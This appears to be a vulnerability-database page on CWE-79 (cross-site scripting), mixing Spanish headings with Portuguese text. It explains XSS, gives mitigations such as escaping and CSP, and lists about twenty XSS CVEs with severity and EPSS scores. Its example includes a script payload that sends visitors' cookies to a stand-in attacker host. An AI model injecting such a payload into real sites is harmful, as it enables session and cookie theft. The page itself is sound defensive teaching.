Fallos del tipo CWE-79

28.608 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2022-45037MEDIUMA cross-site scripting (XSS) vulnerability in /admin/users/index.php of WBCE CMS v1.5.4 allows attackers to execute arbitrary web scripts orEPSS 1.1%CVE-2022-45038MEDIUMA cross-site scripting (XSS) vulnerability in /admin/settings/save.php of WBCE CMS v1.5.4 allows attackers to execute arbitrary web scripts EPSS 1.1%CVE-2021-39199CRITICALCross site scripting via unsafe defaults in remark-htmlEPSS 1.1%CVE-2021-35240MEDIUMStored XSS via Help Server settingsEPSS 1.1%CVE-2018-14664MEDIUMA flaw was found in foreman from versions 1.18. A stored cross-site scripting vulnerability exists due to an improperly escaped HTML code inEPSS 1.1%CVE-2024-23349MEDIUMApache Answer: XSS vulnerability when submitting summaryEPSS 1.1%CVE-2021-43761HIGHAdobe Experience Manager Stored XSS on Edit Tag page via Localization inputEPSS 1.1%CVE-2024-28715HIGHCross Site Scripting vulnerability in DOraCMS v.2.18 and before allows a remote attacker to execute arbitrary code via the markdown0 functioEPSS 1.1%CVE-2023-28350MEDIUMAn issue was discovered in Faronics Insight 10.0.19045 on Windows. Attacker-supplied input is not validated/sanitized before being rendered EPSS 1.1%CVE-2022-1820MEDIUMKeep Backup Daily <= 2.0.2 - Reflected Cross-Site ScriptingEPSS 1.1%CVE-2022-1822MEDIUMZephyr Project Manager <= 3.2.40 - Reflected Cross-Site ScriptingEPSS 1.1%CVE-2023-36007HIGHMicrosoft Send Customer Voice survey from Dynamics 365 Spoofing VulnerabilityEPSS 1.1%CVE-2019-1856MEDIUMCisco Prime Collaboration Assurance Cross-Site Scripting VulnerabilityEPSS 1.1%CVE-2024-31835MEDIUMCross Site Scripting vulnerability in flatpress CMS Flatpress v1.3 allows a remote attacker to execute arbitrary code via a crafted payload EPSS 1.1%CVE-2024-21908MEDIUMCross-site scripting vulnerability in TinyMCEEPSS 1.1%CVE-2020-3121MEDIUMCisco Small Business Smart and Managed Switches Cross-Site Scripting VulnerabilityEPSS 1.1%CVE-2022-28820MEDIUMAdobe Consulting Services Reflected Cross-Site Scripting Arbitrary Code ExecutionEPSS 1.1%CVE-2008-3397MEDIUMCross-site scripting (XSS) vulnerability in Runesoft Cerberus CMS before 3_1.4_0.9 allows remote attackers to inject arbitrary web script orEPSS 1.1%CVE-2024-34342HIGHreact-pdf's PDF.js vulnerable to arbitrary JavaScript execution upon opening a malicious PDFEPSS 1.1%CVE-2020-8347MEDIUMA reflective cross-site scripting (XSS) vulnerability was reported in Lenovo Enterprise Network Disk prior to version 6.1 patch 6 hotfix 4 tEPSS 1.1%